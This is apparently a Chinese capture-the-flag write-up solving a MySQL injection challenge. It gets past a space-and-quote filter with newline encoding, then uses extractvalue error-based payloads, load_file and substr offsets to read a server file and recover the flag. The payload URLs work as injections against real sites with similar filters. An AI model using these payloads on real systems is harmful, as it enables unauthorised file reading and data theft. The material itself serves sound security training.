这道题过滤了单引号、双引号等,最主要是过滤了空格,根据mysql的特性,我们可以用换行符代替空格符
这里我通过extractvalue报错,注入语句如下
http://103.238.227.13:10088/?id=1%0Aand%0aextractvalue(1,concat(0x7e,(select%0a@@version),0x7e))
接下来根据题目提示我们要读取文件
http://103.238.227.13:10088/?id=1%0Aand%0a(extractvalue(1,concat(0x7e,(hex(load_file(0x2f7661722f746573742f6b65795f312e706870))),0x7e)))
extractvalue性质就是只能读32位,经过hex后得到的有用位是16位
事实上这个是函数截断了,读取文件本身没问题,所以接下来用strsub试试
http://103.238.227.13:10088/?id=1%0aand%0a(extractvalue(1,concat(0x7e,substr(hex(load_file(0x2f7661722f746573742f6b65795f312e706870))%0afrom%0a161%0afor%0a20),0x7e)))
接下来只要修改偏移逐渐恢复文件就行了
最后恢复的文件为:
<?php fdsafasfdsafidsafdsaifdsakfdsaifdsafdsafdsafdsafkdsa;fdsafdsafsdafdsafas0hfdsg9Flag:"7249f5a7fd1de602b30e6f39aea6193a"fsdafsafdsafdsafdsafa ?>
得到flag:
Flag:”7249f5a7fd1de602b30e6f39aea6193a”